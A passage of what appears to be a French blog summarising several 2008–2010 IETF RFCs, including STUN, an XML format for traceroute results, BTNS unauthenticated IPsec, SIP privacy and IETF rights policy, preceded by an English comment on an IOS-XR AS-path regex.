Well, here is a regexp from a router I have with IOS-XR, just to show how the . notation impacts regexp work:
as-path-set 4byte-asn ios-regex '_2\.0_.*_[0-9]+\.[0-9]+_', ios-regex '_5\.1_', end-set
This basically says:
I'm sure some ISPs around here must have similar 16-bit ASN regexps in use at the moment. To handle 32-bit ASNs, they'll need to convert all these to escape the "." as I did above...
Voir aussi http://www.swissix.ch/asn32/doku.php
pour d'autres débats sur la question.
Notre RFC 5396 tranche donc en faveur d'ASPLAIN. C'est ce format qui sera utilisé dans la configuration des routeurs, dans les discussions sur les listes de diffusion d'opérateurs comme NANOG, ou dans les IRR par exemple au RIPE-NCC (qui avait failli développer sa propre politique, vue la difficulté de l'IETF à décider). Comme le note la section 3 du RFC, cette notation a l'avantage de refléter l'absence de structure interne du routage BGP (la notation ASDOT pouvait faire croire à une hiérarchie).
Date de publication du RFC : Novembre 2008
Auteur(s) du RFC : Donald E. Eastlake 3rd (Motorola)
Première rédaction de cet article le 27 novembre 2008
Dernière mise à jour le 5 janvier 2009
Un RFC un peu bureaucratique, pour détailler les mécanismes utilisés pour l'enregistrement dans les registres de l'IANA des paramètres liés au DNS. Il a depuis été remplacé par le RFC 6195 (qui à son tour a été remplacé par le RFC 6895).
Un certain nombre de paramètres, dans le DNS, sont enregistrés à l'IANA, afin de s'assurer d'une interprétation identique partout. C'est ainsi que l'IANA gère un registre des paramètres DNS où on trouve, entre autres, les types d'enregistrement (A, codé 1, pour une adresse IPv4, AAAA, codé 28, pour une adresse IPv6, LOC, codé 29, pour les positions géographiques du RFC 1876, etc). Cet espace n'étant pas de taille infinie, il faut y enregistrer de nouveaux paramètres avec prudence, selon les règles qui étaient expliquées dans le RFC 2929, que notre RFC modifie.
En effet, les règles du RFC 2929 étaient bien trop strictes à l'usage. Notamment, le processus d'enregistrement d'un nouveau type d'enregistrement était tellement pénible que beaucoup de protocoles (comme SPF à ses débuts) préféraient utiliser le fourre-tout TXT pour y mettre leurs enregistrements. Ce goulet d'étranglement était souvent cité comme un exemple typique des blocages liés à l'IETF.
Notre RFC assouplit donc les règles d'enregistrement des types de ressources DNS (les autres règles sont peu changées). Avant, il y avait deux solutions (voir le RFC 5226 pour plus d'explications), IETF Review (ex-IETF Consensus), un processus long et incertain imposant un RFC sur le chemin des normes, approuvé par l'IESG, ou Specification required, qui impose l'écriture d'une norme (pas forcément un RFC) « stable et permanente ».
Le nouveau système est plus léger (section 3.1.1) : il suffit désormais de remplir un formulaire décrivant le nouveau type d'enregistrement, de le soumettre sur la liste namedroppers@ops.ietf.org et d'attendre le jugement d'un expert, désigné parmi les noms fournis par l'IESG, qui décidera, sur la base du formulaire soumis, d'allouer ou pas la requête. Un tel processus est utilisé pour d'autres enregistrements à l'IANA, par exemple pour les nouvelles étiquettes de langue.
Le nouveau processus a été testé pour la première fois pour le type d'enregistrement ZS (Zone Status) qui a été accepté, sous un autre nom, NINFO, et figure désormais dans le registre IANA.
Notre RFC a depuis été remplacé par le RFC 6195, qui ne change que des points de détail (puis par le RFC 6895).
Date de publication du RFC : Octobre 2008
Auteur(s) du RFC : J. Rosenberg (Cisco), R. Mahy (Plantronics), P. Matthews (Avaya), D. Wing (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF behave
Première rédaction de cet article le 25 octobre 2008
Le NAT a toujours été une des plaies de l'Internet, entre autres parce qu'il perturbe les applications qui veulent transmettre une référence à leur adresse IP. STUN, décrit dans ce RFC, est un des protocoles qui permet de limiter les dégâts. (Ce RCF a depuis été remplacé par le RFC 8489, qui est désormais la norme STUN.)
Pour plusieurs raisons, dont le manque d'adresses IPv4, de nombreuses machines sont connectées à l'Internet derrière un routeur qui fait du NAT. Leur adresse étant alors privée, elles ne peuvent pas la transmettre à l'extérieur, ce qui est une gêne considérable pour tous les protocoles qui reposent sur la référence à des adresses IP, comme SIP. SIP lui-même (RFC 3261) marche à travers le NAT mais les données audio ou vidéo transmises (typiquement par RTP) le sont à une adresse IP que l'appelant donne à l'appelé et, si cette adresse est privée, le flux multi-média n'arrivera jamais.
La bonne solution serait de déployer IPv6, qui fournit des adresses en quantité illimitée, ou à la rigueur de permettre un meilleur contrôle du routeur NAT avec MIDCOM (RFC 3303) mais, en attendant, STUN est une solution simple et qui marche souvent. STUN avait à l'origine été normalisé dans le RFC 3489, que ce RFC met à jour, avec des changements assez importants, mais qui n'empêchent pas la compatibilité des anciens clients avec les nouveaux serveurs (ou réciproquement, sauf si le client utilise les nouvelles possibilités, comme la possibilité de fonctionner sur TCP et plus seulement UDP).
STUN s'inscrit donc dans la catégorie des protocoles de « réparation » du NAT, catégorie décrite dans le RFC 3424.
STUN résout partiellement le problème des NAT de la manière suivante : un serveur STUN doit être installé quelque part sur l'Internet public (il existe des serveurs STUN publics) et reçoit des demandes envoyées en UDP (ou TCP, voir la description de cette nouveauté en section 7.2.2) au port 3478. Le serveur STUN peut alors connaitre l'adresse publique, celle mise par le routeur NAT et, en répondant au client, il pourra informer celui-ci « Voilà à quoi tes paquets ressemblent, vus de l'extérieur ».
Le nom du serveur STUN est typiquement configuré dans le client, puis le serveur recherché dans le DNS via les enregistrements SRV (RFC 2782), comme détaillé dans la section 9. (Le client Unix en ligne de commande ne connait pas encore les SRV.)
Le principe est simple, mais le RFC est plus compliqué que cela, notamment en raison des problèmes de sécurité (la section 16 du RFC est très détaillée sur ce point). Par exemple, le client STUN doit en fait commencer par une connexion TCP pour obtenir un mot de passe temporaire. (d'autres méthodes d'authenfication sont possibles.)
Un autre problème est qu'il y a en fait plusieurs sortes de NAT (voir par exemple le RFC 2663). Par exemple, certains routeurs NAT (Symmetric NAT pour le RFC 3489) n'attribuent pas l'adresse externe uniquement en fonction de la source mais aussi en fonction de la destination. Ceux-ci ne fonctionnent pas avec STUN, qui a besoin de NAT cone, c'est-à-dire où les paquets d'une même machine auront toujours la même adresse IP externe.
Voici une démonstration d'un client STUN qui, en se connectant à un serveur STUN public va apprendre son adresse IP publique :
% ifconfig -a hme0: [...] inet 172.19.1.2 (Adresse privée, probablement NATée...) % ./client stun.ekiga.net -v |& more STUN client version 0.96 ... MappedAddress = 213.41.181.9:32143 (Voici mon adresse telle que vue de l'extérieur, à noter que ce RFC, contrairement à son prédécesseur la nomme désormais ReflexiveAddress) ...
Une fois l'adresse extérieure détectée, tout n'est pas terminé car rien n'indique, par exemple, que les paquets vont effectivement passer. C'est pour cela que la section 14 insiste que STUN n'est qu'un outil, devant s'insérer dans une solution plus gobale, comme ICE (pas encore normalisé). À lui seul, STUN ne permet pas la traversée de tous les NAT. La section 14 décrit en détail ce concept d'utilisation de STUN et les règles que doivent suivre les protocoles qui utilisent STUN.
La section 6 décrit le format des paquets. Un paquet STUN
doit comprendre l'indication d'une méthode, qui
indique le genre de services que désire le client. Notre RFC 5389 ne décrit qu'une seule méthode,
Binding
, qui permet d'obtenir son adresse IP
extérieure mais TURN (RFC 5766), par exemple, en définit d'autres. Après la méthode et
un identificateur de transaction (qui sert au serveur STUN à séparer
ses clients), suivent les attributs, encodés en
TLV (la
liste des attributs figure en section 15). Les numéros des attributs
sont compris entre 0x0000 et 0x7FFF s'ils doivent être reconnus par le
serveur (autrement, la requête est rejetée) et entre 0x8000 et 0xFFFF
si leur compréhension est facultative (cette notion d'attributs
obligatoires ou facultatifs facilite les évolutions ultérieures du protocole).
Une partie de l'identificateur de
transaction de la version précédente de STUN a été transformé en
magic cookie, une valeur fixe (0x2112A442
) qui sert à
reconnaitre les agents STUN conformes à la nouvelle version.
Les sections 2, 12 et 19 décrivent en détail les changements par rapport à la norme précédente, le RFC 3489, notamment le fait que STUN (qui a changé de nom au passage, en gardant le même sigle) n'est plus présenté comme une solution complète mais comme un outil pour une solution plus générale (qui doit, notamment, tester que la connectivité fonctionne, comme le fait ICE). Même la découverte du comportement du NAT est désormais effectuée par des protocoles plus riches comme celui du RFC 5780. Parmi les autres changements, il faut noter que STUN encode désormais les adresses IP (par un simple XOR, section 15.2) pour les masquer, empêchant ainsi des stupides routeurs NAT de les réécrire (oui, certains routeurs NAT, profitant de l'absence de mécanisme de responsabilité pour le logiciel embarqué, examinaient toutes les données transitant par eux pour réécrire les adresses IP afin d'y mettre l'adresse publique ; le RFC parle poliment de misguided attempt at providing a generic ALG function mais le terme correct est « débilité monstrueuse »). Notez enfin que le RFC actuel sur STUN est, depuis février 2020, le RFC 8489.
Date de publication du RFC : Décembre 2008
Auteur(s) du RFC : S. Niccolini (NEC), S. Tartarelli (NEC), J. Quittek (NEC), T. Dietz (NEC), M. Swany (UDel)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ippm
Première rédaction de cet article le 11 décembre 2008
Le programme traceroute est un des piliers de l'Internet. Cet outil de débogage a servi à des dizaines de milliers d'administrateurs réseaux, lors de difficiles sessions de recherche de panne ou de divers problèmes. Né de la nécessité, il n'a jamais eu de modèle de données formel, ni de norme de présentation des résultats. C'est désormais fait avec ce nouveau document.
Cette normalisation permet notamment de stocker les résultats d'un traceroute et de les comparer de manière automatique à un autre (il existe déjà de tels programmes de comparaison, par exemple sous forme d'un moniteur pour le logiciel de surveillance réseau mon, mais tous ne comparent que la sortie texte de traceroute et peuvent donc être perturbés par des changements purement de présentation). La section 1 détaille ce cahier des charges.
La section 3 rappelle le principe de fonctionnement de traceroute :
envoyer des paquets UDP (certaines versions
peuvent utiliser TCP ou
ICMP ; l'annexe A contient une très
intéressante description des différentes versions de traceroute) à une machine distante, en mettant
délibérement des valeurs trop basses au TTL (ou
Hop Count) des
paquets IP. Les
routeurs qui, après la décrémentation de ce champ, trouveront zéro,
signaleront leur existence en envoyant un paquet ICMP
TIME_EXCEEDED
(RFC 792).
La section 4 liste ensuite les résultats qu'on obtient avec traceroute. Selon la version de ce dernier, on peut trouver :
Enfin, la section 5 définit le modèle de données utilisé pour créer
le fichier XML de résultats. 5.1 contient les
types de données. Certains sont tirés des schémas du W3C comme Boolean
ou DateTime
, d'autres tirés d'autres RFC (par exemple le RFC 4001 pour InetAddress
,
les adresses IP), d'autres enfin définis ici. La section 5.2 donne la liste de tous les élements
XML utilisés comme ProbeRoundTripTime
(section
5.2.3.8) qui contient le RTT en
millisecondes. On peut donc écrire :
<ProbeRoundTripTime> <roundTripTime>13</roundTripTime> </ProbeRoundTripTime>
Cet élement ProbeRoundTripTime
peut,
alternativement, contenir un élément roundTripTimeNotAvailable
.
La section 6 explique le choix de XML, notamment parce que les fichiers XML sont lisibles par un humain et parce qu'il existe un grand nombre d'outils existants. Cette section explique aussi pourquoi des modèles de données proches comme la MIB du RFC 4560 (également discutée en annexe C) ou l'encodage d'IPFIX dans le RFC 7011 n'ont pas été utilisés.
Enfin, une longue section 7 contient le schéma lui-même, défini
avec le langage W3C
Schema. L'élément ProbeRoundTripTime
cité plus haut est ainsi défini comme le choix entre un entier ou la
valeur roundTripTimeNotAvailable
:
<xs:element name="ProbeRoundTripTime" type="_roundTripTime"> </xs:element> <xs:complexType name="_roundTripTime"> <xs:choice> <xs:element name="roundTripTime"> <xs:simpleType> <xs:restriction base="xs:unsignedInt"/> </xs:simpleType> </xs:element> <xs:element name="roundTripTimeNotAvailable"> <xs:complexType/> </xs:element> </xs:choice> </xs:complexType>
Je ne connais pas encore d'implémentation « officielle » de traceroute qui
produise ces fichiers XML. Si vous en écrivez une, attention aux
caractères spéciaux (speciaux pour XML comme & ou <) dans les
noms de machines : rien ne vous garantit qu'une requête DNS inverse ne va pas vous
renvoyer des noms avec de tels caractères. Comme toujours quand un
programme produit du XML, il ne doit pas se contenter de mettre des
<balise>
un peu partout, il doit aussi
veiller à ces caractères spéciaux.
Il existe à ma connaissance une mise en œuvre expérimentale de traceroute
qui produit du XML à ce format (dérivée du traceroute de NANOG). Elle est assez sommaire mais elle
marche. traceroute-nanog-xml.c
.
Il nécessite libxml2. Pour le compiler, sur GNU/Linux :
cc -DXML -lresolv $(xml2-config --cflags) $(xml2-config --libs) \ traceroute-nanog-xml.c -o traceroute-nanog-xml
Sur FreeBSD, même chose sans le
-lresolv
. Ensuite, on ne lance avec l'option
-X
pour produire du XML.
Une fois produits, les fichiers XML peuvent être vérifiés, par exemple avec xmllint :
% xmllint --noout --schema traceroute.xsd traceroute.xml traceroute.xml validates
Voici des exemples de résultats stockés dans ce format, un exemple pris dans le RFC (annexe D) et un autre exemple, produit par mon programme.
Date de publication du RFC : Novembre 2008
Auteur(s) du RFC : J. Touch (USC/ISI), D. Black (EMC), Y. Wang (Microsoft)
Pour information
Réalisé dans le cadre du groupe de travail IETF btns
Première rédaction de cet article le 15 novembre 2008
En matière de sécurité, le mieux peut être l'ennemi du bien. Un protocole très exigeant peut, en partie à cause de ces exigences, ne pas être déployé et laisser donc l'Internet aussi vulnérable qu'avant. C'est en partie ce qui est arrivé à IPsec et a justifié le travail sur le mécanisme « Mieux que rien » qui fait l'objet de plusieurs RFC dont notre RFC 5387 qui décrit les motivations et le domaine d'application de ce nouveau mécanisme ou dont le RFC 5386 qui normalise le nouveau protocole.
C'est une banalité que de dire que l'Internet n'est pas sûr. N'importe qui peut envoyer un paquet avec une fausse adresse IP, il est très facile d'écouter ce qui passe sur le réseau et il est facile de s'insérer dans une session déjà commencée. On peut se demander pourquoi le problème n'a pas encore été traité. Il l'a été, pourtant. Par exemple, IETF a depuis 1998 un protocole, IPsec (actuellement RFC 4301), qui permet de sécuriser n'importe quelle connexion Internet contre l'écoute ou la modification, en utilisant la cryptographie. IPsec est exigeant : pour établir une SA (Security Association, association de sécurité entre deux machines, qui leur permettra de communiquer en toute sécurité), il faut s'authentifier, ce qui veut dire un secret partagé (un mot de passe) ou bien une signature reconnue par une autorité commune. Si IPsec peut utiliser plusieurs identités dans sa base , les adresses IP, noms de domaine et bien d'autres, toutes doivent être authentifiées (voir aussi la section 2.1). C'est lourd et compliqué et cela a pesé sérieusement dans le peu de déploiement d'IPsec (section 1 du RFC).
Alors, faut-il supprimer l'obligation d'authentification ? Après tout, si IPsec est utilisé entre deux pairs BitTorrent, quel besoin ont-ils de s'authentifier ? La plupart du temps, les pairs acceptent de servir n'importe quelle autre machine. Même chose pour un serveur Web public. Mais ce n'est pas si simple (section 1.1) car l'authentification sert aussi à empêcher les attaques de « l'Homme au Milieu », un attaquant situé entre les deux machines et qui se fait passer pour leur correspondant. Si un tel intermédiaire est présent, la cryptographie ne servira à rien puisque les clés utilisées sont connues du méchant.
C'est pourtant la voie que suit (avec prudence) le nouveau protocole BTNS (Better Than Nothing Security ou « Mieux vaut un peu de sécurité que pas de sécurité du tout - ce qui arrive si on impose des contraintes trop élevées. »).
Ainsi, le protocole telnet était bien connue pour son extrême vulnérabilité, puisque les mots de passe passaient en clair, mais, pendant longtemps, les seules solutions proposées étaient horriblement compliquées comme Kerberos (RFC 1411 pour un telnet « kerberisé »). Elles n'avaient donc jamais été déployées sérieusement avant la sortie de SSH en 1995. SSH, lui, remplacera telnet en quelques années, bien que certains experts en sécurité aient froncé le sourcil lors de son lancement en l'estimant insuffisamment blindé.
Une des solutions qu'utilise BTNS pour limiter les risques est de dépendre d'une authentification faite dans les couches hautes (IPsec travaille dans la couche 3). La section 1.3 décrit comment de tels mécanismes rendent BTNS moins dangereux qu'il n'en a l'air.
On peut se demander quel est l'intérêt de BTNS si un protocole comme TLS s'occupe de toute la sécurité. Mais BTNS est IPsec, donc protège également contre certaines attaques dans les couches basses, contre lesquelles TLS ne peut rien. Ainsi, un paquet TCP RST (Reset, qui va couper la connexion) imité peut couper une session TLS, puisque TLS n'authentifie et ne protège que la couche application. Une telle attaque, pratiquée par exemple par Comcast contre ses propres clients ou par la censure chinoise contre ses citoyens (voir aussi la section 2.2.1), ne marcherait pas avec BTNS.
Les sections 2 et 3 du RFC décrivent plus en détail le problème que BTNS résout et la manière dont il le résoud (en permettant les connexions non authentifiées). La section 4, elle, revient sur le domaine d'application de BTNS. BTNS n'a pas d'intérêt pour les connexions très sécurisées, par exemple entre deux organisations qui veulent établir entre elles un VPN aussi solide que possible. Pour celles-ci, le IPsec actuel est une bonne approche. Mais BTNS est utile si :
La section 4.1 explique les bénéfices de BTNS dans ce cas (pas d'infrastructure d'authentification à gérer) et la 4.2 ses faiblesses (le risque d'établir la connexion avec un imposteur).
Enfin, la section 5 analyse plus complètement les questions de sécurité parfois subtiles qui naissent de ce tournant dans IPsec. BTNS protège la connexion établie, mais pas l'établissement. Il est donc proche des autres protocoles TOFU (Trust On First Use ou, plus méchamment, leap of faith, « acte de foi ») comme SSH. Contrairement à SSH, BTNS ne se souvient pas forcément des clés précédemment présentées, et ne peut donc pas détecter l'arrivée d'un imposteur (cf. section 5.7).
BTNS est donc vulnérable aux attaques de l'homme au milieu (section 5.3) mais aussi à certaines attaques DoS comme tout protocole de cryptographie. En effet (section 5.4), une machine qui établit une connexion IPsec avec vous (ce qui est plus facile avec BTNS puisqu'il n'y a plus d'authentification) peut vous faire exécuter des calculs de cryptographie assez coûteux.
À l'heure actuelle, je ne connais pas d'implémentation de BTNS dans les grands projets IPsec comme Openswan.
Date de publication du RFC : Novembre 2008
Auteur(s) du RFC : N. Williams (Sun), M. Richardson (SSW)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF btns
Première rédaction de cet article le 15 novembre 2008
Le protocole BTNS (Better Than Nothing Security), expliqué dans le RFC 5387, est normalisé dans ce RFC 5386. Il permet d'utiliser IPsec sans authentification des autres machines, ce qui pourrait simplifier son déploiement.
BTNS ne change pas le protocole IPsec (RFC 4301), ni les protocoles associés comme IKE (RFC 4306). Sur le câble, ce sont les mêmes paquets qui passent, les changements se concentrant sur les machines terminales, dans la PAD (Peer Authentication Database, section 4.4.3 du RFC 4301) et la SPD (Security Policy Database, section 4.4.1 du RFC 4301).
Ce RFC reste assez court car il ne normalise pas encore toutes les idées prévues dans le RFC 5387 comme par exemple la liaison entre une SA (Security Association) IPsec et une connexion dans les couches hautes (cf. section 4.1) ou comme la mémoire des SA précédentes, pour n'avoir à faire confiance à un inconnu que la première fois (cf. section 4.2, qui propose un futur mécanisme analogue à celui de SSH).
La section 2 décrit BTNS par rapport à l'IPsec traditionnel. Le principal changement est que, après l'examen de toutes les entrées de la PAD, une implémentation de BTNS peut simplement accepter un pair uniquement pour sa clé publique, ou même pour n'importe quelle clé (cas où on accepte les connexions de tout le monde).
La section 3 décrit quelques exemples de scénarios avec BTNS. Ainsi, 3.3 décrit un serveur NFS qui veut protéger le trafic NFS avec IPsec, tout en acceptant n'importe quel client NFS (accepter au niveau IPsec : les couches hautes peuvent toujours imposer une authentification). La PAD (Peer Authentication Database) ressemblera à :
Rule Remote ID IDs allowed SPD Search by ---- --------- ----------- ------------- 1 PUBLICKEY:any ANY by-IP
(Une seule règle, accepter tout le monde. Une telle règle n'était pas possible en IPsec avant BTNS.) Et la SPD (Security Policy Database) pourra être :
Rule Local Remote Next Layer BTNS Action addr addr Protocol ok ---- ----- ------ ---------- ---- ----------------------- 1 [C] ANY ANY yes PROTECT(ESP,transport, with integr+conf) port 2049 2 [C] ANY ANY N/A BYPASS
(Utilisation IPsec, avec protection ESP pour le port 2049 (NFS) et ne pas toucher aux autres applications.)
La section 4 revient sur les problèmes de sécurité déjà étudiées dans la section 5 du RFC 5387. BTNS est notamment vulnérable aux attaques d'un attaquant situé au milieu.
Date de publication du RFC : Février 2010
Auteur(s) du RFC : J. Touch (USC/ISI)
Pour information
Première rédaction de cet article le 13 février 2010
La publication d'un RFC se fait uniquement sous forme de texte brut, encodé en ASCII. Il y a d'excellentes raisons pour cela, notamment la nécessité de ne s'appuyer que sur des formats ouverts et également l'importance de la pérénnité des spécifications (si le RFC 791 sur IP avait été écrit avec la version de Microsoft Word de l'époque, il serait complètement illisible aujourd'hui). Mais ce choix du RFC editor ne concerne que la publication. Les auteurs sont libres des outils qu'ils utilisent pour produire cette version en texte. La plupart, en bons techniciens, utilisent le format XML du RFC 7749 mais quelqu'uns sont attachés aux obésiciels de Microsoft et c'est pour eux qu'est écrit ce document. (Les durs de durs, eux, utilisent encore le traditionnel système nroff.)
Ce RFC 5385 décrit en effet un
gabarit MS Word pour
écrire des RFC. Ce gabarit au format .dot
permet
de fixer les principaux paramètres qui feront que le document sera
accepté par le RFC Editor. Le gabarit est
disponible en http://www.isi.edu/touch/tools
.
La section 1 justifie le choix de Word en insistant sur l'édition
en mode WYSIWYG mais aussi sur les capacités de
Word d'afficher uniquement le squelette du document, cachant ou
affichant au choix le contenu des paragraphes. La section 2 donne le
mode d'emploi du gabarit et les bonnes pratiques d'édition en
utilisant celui-ci (par exemple, utiliser uniquement les styles et pas
les possibilités de changer directement l'apparence du texte ; un très
bon conseil de toute façon, pour tout document complexe). Le gabarit
utilise, outre les styles standard comme Normal
quelques styles spécifiques aux RFC comme RFC
Title
. En 2.4 se trouvent les instructions pour générer le
résultat, en passant par l'imprimante virtuelle « Texte seul » de
Windows (bien que Word tourne sur d'autres
systèmes que Windows, ce n'est pas le cas de la méthode décrite dans
le RFC : si on vend son âme à Bill Gates, il
faut le faire jusqu'au bout et utiliser uniquement Windows). Le
résultat est ensuite traité par un programme Perl, fourni en annexe B, et qui assure les
tâches que Word ne sait pas faire comme de remplacer les guillemets
dits « typographiques » comme U+201C
,
“ et U+201D
, ”, par leur équivalent
ASCII, U+0022
, ".
Le RFC 5385 est d'ailleurs une lecture intéressante, au delà de la tâche pratique de l'écriture de RFC, car il a vraiment fallu insister pour obtenir de Word le résultat parfait. Une bonne partie des possibilités techniques de ce logiciel ont été utilisées (voir le détail dans l'annexe A).
Il s'agit d'une mise à jour du premier gabarit, qui avait été
publié dans le RFC 3285. Les changements sont assez profonds
et sont détaillés dans la section 3. Le principal (section 3.1) est qu'au lieu de
créer des styles spécifiques pour tout, le gabarit désormais utilise,
dans la mesure du possible, les styles standards comme
Normal
ou Heading1
. C'est la pratique que suivent d'autres
organisations qui créent des gabarits pour leurs auteurs, comme
l'IEEE ou bien l'ACM. Un autre changement est la possibilité d'utiliser désormais des références bibliographiques par mnémonique et plus seulement par numéro (section 3.2).
Le gabarit semble fonctionner avec OpenOffice 2.4 mais, sans les capacités d'impression virtuelle, cela ne sert pas à grand'chose. Ce RFC est donc bien pour les admirateurs de Bill Gates seulement.
Date de publication du RFC : Octobre 2008
Auteur(s) du RFC : S. Guha (Cornell U.), K. Biswas
(Cisco), B. Ford (MIT), S. Sivakumar (Cisco), P. Srisuresh
Réalisé dans le cadre du groupe de travail IETF behave
Première rédaction de cet article le 17 octobre 2008
Comme son compagnon, le RFC 4787, qui concerne UDP, ce RFC décrit les règles que doit suivre un routeur NAT pour être utilisable sans trop de problèmes par les applications TCP.
La lecture préalable du RFC 4787 est recommandée, car il fixe le vocabulaire et les principes généraux. Notre RFC les complète ensuite pour le cas de TCP.
TCP a beaucoup évolué depuis le début (cf. le RFC 7414 pour une bonne description de cette évolution) mais le mécanisme de connexion initial, le fameux « Three-Way handshake », n'a pas changé, des tentatives comme T/TCP (cf. RFC 1644) ayant échoué. C'est cette connexion initiale qui est le plus gênée par le NAT.
Les exigences de notre RFC pour un routeur NAT sont principalement :
Depuis la sortie de ce RFC, le RFC 7857 a apporté quelques compléments.
Date de publication du RFC : Février 2010
Auteur(s) du RFC : M. Munakata, S. Schubert, T. Ohba (NTT)
Pour information
Première rédaction de cet article le 9 février 2010
Le protocole SIP, surtout connu pour son rôle dans la téléphonie sur IP, dispose de plusieurs fonctions permettant de protéger la vie privée de ses utilisateurs. Spécifiées dans plusieurs RFC, ces fonctions ne sont pas forcément évidentes à utiliser, d'où ce RFC qui tente de guider les développeurs vers les bonnes pratiques.
SIP est normalisé dans le RFC 3261 et est certainement le premier protocole de téléphonie sur IP, d'autant plus que certains de ses concurrents, bâtis sur des protocoles fermés, ne respectent pas forcément la vie privée de leurs utilisateurs. Et SIP, qu'en fait-il ? Certaines de ces fonctions peuvent être excessivement intrusives, par exemple le fait que l'adresse de l'appelant soit fournie, et il existe donc des moyens de les débrayer.
Le cadre général est donné dans le RFC 3323. Il introduit
par exemple l'idée de mettre
sip:anonymous@anonymous.invalid
comme adresse de
l'appelant, même le simple nom de domaine pouvant révéler des
informations (section 4.1.1.3 du RFC 3323 et section 5.1.4 de
notre RFC). Les RFC 3325 et RFC 4244 fournissent
des méthodes supplémentaires.
Qu'apporte notre RFC 5379 ? Il ne change aucun protocole,
il explique simplement comment mieux utiliser les extensions de
maintien de la vie privée décrites dans les RFC précédents. C'est donc
un bon point de départ si on écrit un logiciel SIP soucieux de vie
privée. Ainsi, le
tableau de la section 4.1 résume de manière simple les actions qui
doivent être menées (ou pas) par les différents agents, selon le
niveau de protection demandé par l'utilisateur (ces niveaux avaient
été définis dans la section 4.2 du RFC 3323). Par exemple,
les en-têtes Via:
(section 8.1.1.7 du RFC 3261) indiquent l'endroit où envoyer des
réponses, donc où se trouve l'appelant. Au niveau
header de protection de la vie privée, ils doivent donc
être « anonymisés », c'est-à-dire remplacés par un en-tête
Via:
d'un relais (section 5.1 du RFC 3323 et 5.1.15 de notre RFC).
De même, la section 4.3 rappelle nettement le rôle de l'option
critical dans un en-tête
Privacy:
. Elle indique que l'appelant préfère que
l'appel avorte plutôt que de transmettre des informations privées
(certains appelés refusent les appels où certaines informations
manquent et critical sert à indiquer s'il faut
accepter leurs exigences ou pas). Le RFC 3323 était nettement
moins directif sur cette option.
La section 5 résume le traitement de chaque en-tête sensible,
lorsque l'utilisateur demande le service de protection de la vie
privée. Ainsi, Contact:
(section 5.1.3) est un
cas délicat car il doit être un URI qui pointe
réellement sur quelque chose (il sert à contacter le logiciel de
l'utilisateur). S'il
est remplacé, il doit donc l'être
par un URI qui marche, par exemple un système de relais de courte
durée de vie.
Certains en-têtes, moins utiles au fonctionnement de SIP, sont
traités plus violemment. C'est ainsi que la section 5.1.13 recommande
d'éliminer l'en-tête Subject:
car elle peut être
trop révélatrice. Même chose pour User-Agent:
(section 5.1.14) qui indique le type de logiciel utilisé et qui peut
donc révéler des choses sur son propriétaire.
Date de publication du RFC : Novembre 2008
Auteur(s) du RFC : S. Bradner (Harvard University), Jorge
Contreras (WilmerHale)
Réalisé dans le cadre du groupe de travail IETF ipr
Première rédaction de cet article le 11 novembre 2008
Pendant longtemps, l'IETF a vécu avec l'illusion qu'elle était une organisation purement technique, vouée uniquement à produire les meilleures normes possibles, sans considération pour les questions « vulgaires » comme le droit. Désormais, l'IETF est rattrapée par la judiciarisation croissante de la société, surtout aux ÉUA, où se trouve la majorité des structures formelles qui comptent pour l'IETF (notamment l'ISOC, l'IETF elle-même restant informelle et non enregistrée). Avec l'enthousiasme des néophytes, une partie de l'IETF s'est donc engagée dans la voie d'un travail sur les questions de propriété intellectuelle (un terme d'ailleurs très contestable, puisque mêlant des choses aussi différentes que le droit d'auteur, les brevets et le droit des marques). Ce RFC décrit les « droits entrants », c'est-à-dire ceux dont l'IETF a besoin, et qui doivent lui être accordés par les participants aux travaux et notamment par les auteurs de RFC (la convention de Berne faisant que les auteurs ont automatiquement certains droits sur leur œuvre).
Si des notions de « propriété intellectuelle » apparaissaient déjà dans le RFC 2026 en octobre 1996, le premier RFC fournissant un cadre complet à ces questions a été le RFC 3667 en février 2004, remplacé par le RFC 3978 puis par notre RFC 5378. Le principal changement (section 10) est la séparation plus claire entre les droits « entrants » (ce que le contributeur donne à l'IETF) et les droits « sortants » (ce que l'IETF donne aux utilisateurs), décrits dans le RFC 8721.
Ce dernier RFC, écrit par un « grand ancien » de l'IETF (dont l'activité récente est essentiellement consacrée aux questions de propriété intellectuelle) et un avocat (qui, logiquement, pousse toujours l'IETF vers davantage de judiciarisation), est donc la version actuelle de la politique de l'IETF. Il détaille les droits que les contributeurs (participants au processus IETF) doivent transmettre à l'IETF trust, l'organisme (largement indépendant de l'IETF et étroitement contrôlé par l'ISOC et CNRI) qui est censé administrer la propriété intellectuelle de l'IETF (voir RFC 4748).
L'IETF trust ne peut en effet pas donner aux utilisateurs des RFC des droits qu'il n'a pas lui-même reçu. Pour pouvoir distribuer un RFC, le traduire, ou en extraire des parties, les droits automatiquement donnés par l'auteur (comme le droit de citation ou comme le fair use) ne suffisent pas. Il faut que les auteurs donnent explicitement davantage de droits.
La section 5 décrit les droits en question. 5.3 porte sur les droits donnés à l'IETF trust : droits de publication (évidemment), de traduction, d'utilisation des marques que contient le document, etc. 5.5 explique que ces droits n'impliquent pas de licence d'utilisation des technologies présentées dans le RFC (l'IETF, contrairement au W3C ou, dans certains cas, à OASIS, accepte de normaliser des technologies brevetées).
Pour que tout le monde puisse connaître ses droits, la section 6 explique le mécanisme de publication de ceux-ci par le biais d'un boilerplate, officiellement appelé legend. Ce boilerplate, un texte légal attaché à chaque RFC, ne figure pas dans notre RFC 5378. En effet, l'évolution des lois états-uniennes, les changements d'interprétation, peuvent nécessiter une évolution du texte, alors qu'un RFC n'est pas facile à changer. L'IETF trust reçoit donc un quasi-chèque en blanc pour rédiger le texte en question et le tenir à jour sur son site Web (c'est le second grand changement par rapport au RFC 3978).
La section 3 du RFC explique le raisonnement derrière les choix effectués (on peut aussi consulter la FAQ du trust). Par exemple, 3.3 explique que l'auteur doit donner le droit de faire certaines modifications (derivative works) car l'IETF doit pouvoir faire évoluer le RFC suivant l'évolution de la technologie. Elle explique aussi pourquoi cette règle peut comporter des exceptions, par exemple lorsque l'IETF re-publie sous forme de RFC une norme d'une autre organisation.
Comme le travail a été plutôt bâclé, un gros problème n'est survenu que plus tard lorsque des auteurs se sont aperçus que le nouveau texte interdisait de réutiliser du texte d'anciens RFC... La chasse aux auteurs de ces anciens RFC a donc commencé, pour les convaincre d'abandonner leurs droits (voir l'article IETF Shoots Itself in the Foot).
Date de publication du RFC : Novembre 2008
Auteur(s) du RFC : J. Halpern (Self)
Pour information
Réalisé dans le cadre du groupe de travail IETF ipr
